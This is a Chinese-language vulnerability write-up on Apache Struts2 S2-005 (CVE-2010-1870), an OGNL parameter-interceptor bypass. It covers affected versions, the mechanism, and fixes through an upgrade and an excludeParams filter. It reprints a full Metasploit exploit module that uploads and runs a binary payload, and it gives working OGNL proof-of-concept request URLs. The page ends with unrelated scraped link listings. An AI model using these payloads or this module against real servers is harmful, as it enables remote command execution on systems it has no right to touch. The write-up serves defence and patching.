catalog

  1. . Description
  2. . Effected Scope
  3. . Exploit Analysis
  4. . Principle Of Vulnerability
  5. . Patch Fix

1. Description

struts2漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为ongl语句执行(可理解为java代码)。ongl表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式讲这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上
XWork是一个命令模式框架,用于支持Struts 2及其他应用  
在Atlassian Fisheye,Crucible和其他产品中使用的Struts 2.0.0至2.1.8.1版本中的Xwork中的OGNL表达式赋值功能使用许可的白名单,远程攻击者可以借助

  1. . #context
  2. . #_memberAccess
  3. . #root
  4. . #this
  5. . #_typeResolver
  6. . #_classResolver
  7. . #_traceEvaluations
  8. . #_lastEvaluation
  9. . #_keepLastEvaluation和其他的OGNL上下文变量

以此来修改服务器端对象,并绕过ParameterInterceptors中的"#"保护机制

Relevant Link:

  1. http://help.aliyun.com/knowledge_detail.htm?spm=5176.7114037.1996646101.1.ZttC6m&categoryId=8314968&knowledgeId=5974950&pos=1
  2. http://cve.scap.org.cn/CVE-2010-1870.html
  3. http://www.securityfocus.com/bid/41592/info

2. Effected Scope

  1. VMWare vCenter Orchestrator 4.1
  2. VMWare vCenter Orchestrator 4.0
  3. OpenSymphony XWork 2.1.
  4. OpenSymphony XWork 2.1
  5. OpenSymphony XWork 2.0.
  6. OpenSymphony XWork 2.0.
  7. OpenSymphony XWork 2.0.
  8. OpenSymphony XWork 2.0.
  9. OpenSymphony XWork 2.0.
  10. OpenSymphony XWork 2.0.
  11. Cisco Unified Contact Center Enterprise
  12. Atlassian Fisheye 2.3.
  13. Atlassian Fisheye 2.2.
  14. Atlassian Crucible 2.3.
  15. Atlassian Crucible 2.2.
  16. Apache Software Foundation Struts 2.1. .
  17. Apache Software Foundation Struts 2.1.
  18. Apache Software Foundation Struts 2.1.
  19. Apache Software Foundation Struts 2.1
  20. Apache Software Foundation Struts 2.0.
  21. Apache Software Foundation Struts 2.0. .
  22. Apache Software Foundation Struts 2.0. .
  23. Apache Software Foundation Struts 2.0.
  24. Apache Software Foundation Struts 2.0.
  25. Apache Software Foundation Struts 2.0.
  26. Apache Software Foundation Struts 2.0.
  27. Apache Software Foundation Struts 2.0.
  28. Apache Software Foundation Struts 2.0.
  29. Apache Software Foundation Struts 2.0.
  30. Apache Software Foundation Struts 2.0.
  31. Apache Software Foundation Struts 2.0.
  32. Apache Software Foundation Struts 2.0
  33. Apache Software Foundation Archiva 1.3.
  34. Apache Software Foundation Archiva 1.3.
  35. Apache Software Foundation Archiva 1.3.
  36. Apache Software Foundation Archiva 1.3.
  37. Apache Software Foundation Archiva 1.3

3. Exploit Analysis

  1. ##
  2. # $Id: struts_code_exec.rb -- ::09Z bannedit $
  3. ##
  4.  
  5. ##
  6. # This file is part of the Metasploit Framework and may be subject to
  7. # redistribution and commercial restrictions. Please see the Metasploit
  8. # Framework web site for more information on licensing and terms of use.
  9. # http://metasploit.com/framework/
  10. ##
  11.  
  12. require 'msf/core'
  13.  
  14. class Metasploit3 < Msf::Exploit::Remote
  15. Rank = ExcellentRanking
  16.  
  17. include Msf::Exploit::CmdStagerTFTP
  18. include Msf::Exploit::Remote::HttpClient
  19.  
  20. def initialize(info = {})
  21. super(update_info(info,
  22. 'Name' => 'Apache Struts < 2.2.0 Remote Command Execution',
  23. 'Description' => %q{
  24. This module exploits a remote command execution vulnerability in
  25. Apache Struts versions < 2.2.. This issue is caused by a failure to properly
  26. handle unicode characters in OGNL extensive expressions passed to the web server.
  27.  
  28. By sending a specially crafted request to the Struts application it is possible to
  29. bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.
  30. Bypassing this restriction allows for the execution of arbitrary Java code.
  31. },
  32. 'Author' =>
  33. [
  34. 'bannedit', # metasploit module
  35. 'Meder Kydyraliev', # original public exploit
  36. ],
  37. 'License' => MSF_LICENSE,
  38. 'Version' => '$Revision: 13584 $',
  39. 'References' =>
  40. [
  41. [ 'CVE', '2010-1870'],
  42. [ 'OSVDB', ''],
  43. [ 'URL', 'http://www.exploit-db.com/exploits/14360/' ],
  44. ],
  45. 'Platform' => [ 'win', 'linux'],
  46. 'Privileged' => true,
  47. 'Targets' =>
  48. [
  49. ['Windows Universal',
  50. {
  51. 'Arch' => ARCH_X86,
  52. 'Platform' => 'win'
  53. }
  54. ],
  55. ['Linux Universal',
  56. {
  57. 'Arch' => ARCH_X86,
  58. 'Platform' => 'linux'
  59. }
  60. ],
  61. ],
  62. 'DisclosureDate' => 'Jul 13 2010',
  63. 'DefaultTarget' => ))
  64.  
  65. register_options(
  66. [
  67. Opt::RPORT(),
  68. OptString.new('URI', [ false, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', nil ]),
  69. OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
  70. ], self.class)
  71. end
  72.  
  73. def execute_command(cmd, opts = {})
  74. uri = Rex::Text::uri_encode(datastore['URI'])
  75. var_a = rand_text_alpha_lower()
  76. var_b = rand_text_alpha_lower()
  77. var_c = rand_text_alpha_lower()
  78. var_d = rand_text_alpha_lower()
  79. var_e = rand_text_alpha_lower()
  80.  
  81. uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
  82. uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
  83. uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
  84. uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
  85. uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
  86. puts uri
  87. vprint_status("Attemping to execute: #{cmd}")
  88.  
  89. resp = send_request_raw({
  90. 'uri' => uri,
  91. 'version' => '1.1',
  92. 'method' => 'GET',
  93. }, )
  94. end
  95.  
  96. def windows_stager
  97. exe_fname = rand_text_alphanumeric(+rand()) + ".exe"
  98.  
  99. print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
  100. execute_cmdstager({ :temp => '.'})
  101. @payload_exe = payload_exe
  102.  
  103. print_status("Attempting to execute the payload...")
  104. execute_command(@payload_exe)
  105. end
  106.  
  107. def linux_stager
  108. cmds = "/bin/sh@-c@echo LINE | tee FILE"
  109. exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
  110. base64 = Rex::Text.encode_base64(exe)
  111. base64.gsub!(/\=/, "\\u003d")
  112. file = rand_text_alphanumeric(+rand())
  113.  
  114. execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
  115. cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
  116. base64.each_line do |line|
  117. line.chomp!
  118. cmd = cmds
  119. cmd.gsub!(/LINE/, line)
  120. execute_command(cmds)
  121. end
  122.  
  123. execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
  124. execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
  125. execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")
  126.  
  127. execute_command("/bin/sh@-c@/tmp/#{file}")
  128. @payload_exe = "/tmp/" + file
  129. end
  130.  
  131. def on_new_session(client)
  132. if target['Platform'] == 'linux'
  133. print_status("deleting #{@payload_exe} payload file")
  134. execute_command("/bin/sh@-c@rm #{@payload_exe}")
  135. else
  136. print_status("Windows does not allow running executables to be deleted")
  137. print_status("delete the #{@payload_exe} file manually after migrating")
  138. end
  139. end
  140.  
  141. def exploit
  142. if not datastore['CMD'].empty?
  143. print_status("Executing user supplied command")
  144. execute_command(datastore['CMD'])
  145. return
  146. end
  147.  
  148. case target['Platform']
  149. when 'linux'
  150. linux_stager
  151. when 'win'
  152. windows_stager
  153. else
  154. raise RuntimeError, 'Unsupported target platform!'
  155. end
  156.  
  157. handler
  158. end
  159. end

Relevant Link:

  1. http://downloads.securityfocus.com/vulnerabilities/exploits/41592.rb

4. Principle Of Vulnerability

XWork通过getters/setters方法从HTTP的参数中获取对应action的名称,这个过程是基于OGNL(Object Graph Navigation Language)的。OGNL的处理方式如下

  1. user.address.city=Bishkek&user['favoriteDrink']=kumys
  2. //会被转化成
  3. action.getUser().getAddress().setCity("Bishkek")
  4. action.getUser().setFavoriteDrink("kumys")

这个过程是由ParametersInterceptor调用ValueStack.setValue()完成的,它的参数是用户可控的,由HTTP参数传入。OGNL的功能较为强大,远程执行代码也正是利用了它的功能

  1. . Method calling: foo()
  2. . Static method calling: @java.lang.System@exit()
  3. . Constructor calling: new MyClass()
  4. . Ability to work with context variables: #foo = new MyClass()
  5. . And more...

由于参数完全是用户可控的,所以XWork出于安全的目的,增加了两个方法用以阻止代码执行

  1. . OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (缺省为true)
  2. . SecurityMemberAccess private field called 'allowStaticMethodAccess' (缺省为false)

但这两个方法可以被覆盖,从而导致代码执行

  1. #_memberAccess['allowStaticMethodAccess'] = true
  2. #foo = new java.lang.Boolean("false")
  3. #context['xwork.MethodAccessor.denyMethodExecution'] = #foo
  4. #rt = @java.lang.Runtime@getRuntime()
  5. #rt.exec('mkdir /tmp/PWNED')

ParametersInterceptor是不允许参数名称中有#的,因为OGNL中的许多预定义变量也是以#表示的

  1. . #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor. denyMethodExecution' property value.
  2. . #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.
  3. . #root
  4. . #this
  5. . #_typeResolver
  6. . #_classResolver
  7. . #_traceEvaluations
  8. . #_lastEvaluation
  9. . #_keepLastEvaluation

可是攻击者在过去找到了这样的方法(bug编号XW-641):使用\u0023来代替#,这是#的十六进制编码,从而构造出可以远程执行的攻击payload

  1. http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
  2. yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
  3. me()))=

对于(1)(2)这样的ongl表达式,ongl会把1当作一个ongl表达式先执行。对于url参数user=(1)(2),struts2只对user参数做了过滤,并没有限制参数值,从而导致漏洞的产生,即POC中综合了2种技术,()执行和#编码绕过技术

Relevant Link:

  1. http://book.51cto.com/art/201204/330087.htm

5. Patch Fix

0x1: upgrade struts2

As of XWork 2.2.1, now being an integral part of the Struts 2.2.1 release, the ParameterInterceptor was changed to provide a very strict whitelist mechanism for acceptable, non malicious parameter names. Therefore parameters other than simple property navigation paths will be ignored.
It is strongly recommended to upgrade to Struts 2.2.1, which contains the corrected XWork library.

  1. //访问POC
  2. http://localhost:8080/crazyit/tag1?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
  3. yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
  4. me()))=

升级后的struts2加入了拦截器防御逻辑

  1. 七月 , :: 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
  2. 警告: Parameter [('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)] didn't match accepted pattern [[\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['(\w|[\u4e00-\u9fa5])+'\])|(\('(\w|[\u4e00-\u9fa5])+'\)))*]]!
  3. 七月 , :: 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
  4. 警告: Parameter [(aaa)(('\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew java.lang.Boolean("false")))] is too long, allowed length is []
  5. 七月 , :: 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
  6. 警告: Parameter [(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti me()))] didn't match accepted pattern [[\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['(\w|[\u4e00-\u9fa5])+'\])|(\('(\w|[\u4e00-\u9fa5])+'\)))*]]!

0x2: Mitigation Workaround

Configure ParametersIntercptor in struts.xml to Exclude Malicious Parameters
The following additional interceptor-ref configuration, should mitigate the problem when applied correctly:

  1. <interceptor-ref name="params">
  2. <param name="excludeParams">dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>
  3. </interceptor-ref>

我们知道,struts2是一个高度结构化的组件式的MVC开发框架,这种架构带来了开发的复杂性,但同时也使安全人员利用struts2原生提供的"串行Hook点"向框架中加入"安全过滤器",通过在"安全过滤器"中实现"应用层/代码层WAF"的目的
以上的代码本质上是利用了struts2的"拦截器栈"对HTTP请求进行了过滤,使用这种方案,需要对当前网站所配置使用的拦截器栈加入这段参数过滤配置

  1. For this configuration to work correctly, it has to be applied to any params interceptor ref in any stack an application is using.
  2. E.g., if an application is configured to use defaultStack as well as paramsPrepareParamsStack, you should copy both stack definitions from struts-default.xml to the application's struts.xml config file and apply the described excludeParams configuration for each params interceptor ref, that is once for defaultStack and twice for paramsPrepareParamsStack

0x3: 手工修复

如果要采取手工修复的方式,需要进行以下步骤

  1. . 修改目标struts2应用的struts.xml文件,在对应的Action中添加新的拦截器,或拦截器栈,或者直接设置成默认拦截器
  2. . 向目标struts2应用的src源代码中添加新的拦截器实现类
  3. . 重启目标struts2应用进程,使拦截器生效

Relevant Link:

  1. http://struts.apache.org/docs/s2-005.html

Copyright (c) 2015 Little5ann All rights reserved

struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution的更多相关文章

  1. struts2 CVE-2012-0392 S2-008 Strict DMI does not work correctly allows remote command execution and arbitrary file overwrite

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  2. struts2 CVE-2013-1965 S2-012 Showcase app vulnerability allows remote command execution

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  3. struts2 CVE-2013-2251 S2-016 action、redirect code injection remote command execution

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  4. (转)struts2:数据校验,通过XWork校验框架实现(validation.xml)

    转载自:http://www.cnblogs.com/nayitian/p/3475661.html struts2:数据校验,通过XWork校验框架实现(validation.xml)   根据输入 ...

  5. Xwork概况 XWork是一个标准的Command模式实现,并且完全从web层脱离出来。Xwork提供了很多核心功能:前端拦截机(interceptor),运行时表单属性验证,类型转换,强大的表达式语言(OGNL – the Object Graph NavigationLanguage),IoC(Inversion of Control反转控制)容器等。 ----------------

    Xwork概况 XWork是一个标准的Command模式实现,并且完全从web层脱离出来.Xwork提供了很多核心功能:前端拦截机(interceptor),运行时表单属性验证,类型转换,强大的表达式 ...

  6. [我的CVE][CVE-2017-15708]Apache Synapse Remote Code Execution Vulnerability

    漏洞编号:CNVD-2017-36700 漏洞编号:CVE-2017-15708 漏洞分析:https://www.javasec.cn/index.php/archives/117/ [Apache ...

  7. struts2:数据校验,通过XWork校验框架实现(validation.xml)

    根据输入校验的处理场所的不同,可以将输入校验分为客户端校验和服务器端校验两种.服务器端验证目前有两种方式: 第一种: 参考:struts2:数据校验,通过Action中的validate()方法实现校 ...

  8. struts2 CVE-2012-0838 S2-007 Remote Code Execution && Hotfix

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  9. 利用struts2的json返回方式来控制jquery.validate的remote框架,进行表单验证

随机推荐

  1. devexpress xtrareport 并列绑定两个数据源,如何实现?

    如下图,要在xtrareport 并列绑定两个不同的数据源datatable1和datatable 2,并且table1中的只有10行数据,table2中有20行数据,如何实现

  2. windows7下启动mysql服务出现服务名无效

    出现提示: WIN 7 cmd命令行下,net start mysql,出现 服务名无效提示: 问题原因: mysql服务没有安装. 解决办法: 在 mysql bin目录下 以管理员的权限 执行 m ...

  3. Webwork 学习之路【02】前端OGNL试练

    1.OGNL 出现的意义 在mvc中,数据是在各个层次之间进行流转是一个不争的事实.而这种流转,也就会面临一些困境,这些困境,是由于数据在不同世界中的表现形式不同而造成的: a. 数据在页面上是一个扁 ...

  4. eval解析JSON字符串的一个小问题

    之前写过一篇 关于 JSON 的介绍文章,里面谈到了 JSON 的解析.我们都知道,高级浏览器可以用 JSON.parse() API 将一个 JSON 字符串解析成 JSON 数据,稍微欠妥点的做法 ...

  5. Node进阶:核心模块http简介

    本文摘录自<Nodejs学习笔记>,更多章节及更新,请访问 github主页地址.欢迎加群交流,群号 197339705. http模块概览 大多数nodejs开发者都是冲着开发web s ...

  6. 数据契约(DataContract)及序列化指定输出字段

    服务契约定义了远程访问对象和可供调用的方法,数据契约则是服务端和客户端之间要传送的自定义数据类型. 一旦声明一个类型为DataContract,那么该类型就可以被序列化在服务端和客户端之间传送,如下所 ...

  7. 求height数组

    procedure getheight; var i,po1,po2:longint; begin to len do begin ; po1:=i;po2:=sa[rank[i]-]; while ...

  8. 【Zeyphr】分页查询与修改

    分页查询: return this.GetDynamicListWithPaging(ParamQuery.Instance() .From("P_Resume") .AndWhe ...

  9. jq不包含某属性

    jq解释属性选择器时有以下四种: 上面都是带某属性或者属性为某值的情况,还有一种情况是不带某属性怎么办? 答案是同属性不为某值. 如 <a b='c' class="d"&g ...

  10. 1109关于redo_Log和undo_log和BIN-LOG

    转自http://www.cnblogs.com/Bozh/archive/2013/03/18/2966494.html 三者之间的区别BIN-LOG 一个对应BINLOG文件REDO-LOG 对应 ...